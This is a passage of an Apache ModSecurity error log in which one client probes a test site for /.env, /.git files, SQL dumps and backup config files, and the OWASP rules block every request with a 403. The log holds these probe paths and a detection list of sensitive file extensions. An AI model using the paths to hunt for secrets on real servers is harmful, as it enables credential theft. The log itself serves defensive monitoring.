[Sun Mar 22 01:06:11.434673 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env~&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViFwAAAAc&quot;]
[Sun Mar 22 01:06:11.434864 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env~&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViFwAAAAc&quot;]
[Sun Mar 22 01:06:11.434988 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env~&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViFwAAAAc&quot;]
[Sun Mar 22 01:06:11.457394 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViGAAAAAc&quot;]
[Sun Mar 22 01:06:11.457589 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViGAAAAAc&quot;]
[Sun Mar 22 01:06:11.457717 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViGAAAAAc&quot;]
[Sun Mar 22 01:06:11.479937 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/HEAD&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViGQAAAAc&quot;]
[Sun Mar 22 01:06:11.480137 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/HEAD&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViGQAAAAc&quot;]
[Sun Mar 22 01:06:11.480282 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/HEAD&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViGQAAAAc&quot;]
[Sun Mar 22 01:06:11.502613 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViGgAAAAc&quot;]
[Sun Mar 22 01:06:11.502814 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViGgAAAAc&quot;]
[Sun Mar 22 01:06:11.502945 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViGgAAAAc&quot;]
[Sun Mar 22 01:06:11.525103 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/logs/HEAD&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViGwAAAAc&quot;]
[Sun Mar 22 01:06:11.525296 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/logs/HEAD&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViGwAAAAc&quot;]
[Sun Mar 22 01:06:11.525421 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/logs/HEAD&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViGwAAAAc&quot;]
[Sun Mar 22 01:06:11.547615 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /admin/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.gitignore&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViHAAAAAc&quot;]
[Sun Mar 22 01:06:11.547816 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.gitignore&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViHAAAAAc&quot;]
[Sun Mar 22 01:06:11.547946 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.gitignore&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViHAAAAAc&quot;]
[Sun Mar 22 01:06:11.569963 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/access.log&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViHQAAAAc&quot;]
[Sun Mar 22 01:06:11.570384 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/access.log&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViHQAAAAc&quot;]
[Sun Mar 22 01:06:11.570510 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/access.log&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViHQAAAAc&quot;]
[Sun Mar 22 01:06:11.638000 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/app.js.bak&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViIAAAAAc&quot;]
[Sun Mar 22 01:06:11.638428 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/app.js.bak&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViIAAAAAc&quot;]
[Sun Mar 22 01:06:11.638574 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/app.js.bak&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViIAAAAAc&quot;]
[Sun Mar 22 01:06:11.660615 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/backup.sql&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViIQAAAAc&quot;]
[Sun Mar 22 01:06:11.661018 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/backup.sql&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViIQAAAAc&quot;]
[Sun Mar 22 01:06:11.661154 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/backup.sql&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViIQAAAAc&quot;]
[Sun Mar 22 01:06:11.843097 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/config.php.bak&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViKQAAAAc&quot;]
[Sun Mar 22 01:06:11.843482 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/config.php.bak&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViKQAAAAc&quot;]
[Sun Mar 22 01:06:11.843618 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/config.php.bak&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViKQAAAAc&quot;]
[Sun Mar 22 01:06:11.979163 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag 